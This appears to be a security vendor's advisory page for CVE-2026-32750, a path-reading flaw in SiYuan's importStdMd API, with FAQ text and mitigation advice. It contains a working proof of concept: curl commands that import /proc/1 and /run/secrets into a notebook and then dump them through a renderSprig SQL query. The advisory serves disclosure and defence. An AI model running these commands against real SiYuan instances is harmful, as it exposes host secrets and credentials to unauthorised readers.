CVE-2026-32750

POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.

Details

File: kernel/api/import.go - function importStdMd

func importStdMd(c *gin.Context) {
    notebook  := arg["notebook"].(string)
    localPath := arg["localPath"].(string)
    toPath    := arg["toPath"].(string)

    err := model.ImportFromLocalPath(notebook, localPath, toPath)
}

model.ImportFromLocalPath (kernel/model/import.go:784):

func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
    })
}

Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.

Chained attack with Bug #1 (renderSprig):
Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.

PoC

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
  -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'

An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.

Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-32750 has a CVSS score of 6.8 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-32750? CVE-2026-32750 is a medium-severity path traversal vulnerability in github.com/siyuan-note/siyuan (go), affecting versions <= 0.0.0-20260313024916-fd6526133bb3. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-32750? CVE-2026-32750 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan are affected by CVE-2026-32750? github.com/siyuan-note/siyuan (go) versions <= 0.0.0-20260313024916-fd6526133bb3 is affected.
4. Is there a fix for CVE-2026-32750? No fixed version is listed for CVE-2026-32750 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-32750 exploitable, and should I be worried? Whether CVE-2026-32750 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32750 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32750? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.

Other vulnerabilities in github.com/siyuan-note/siyuan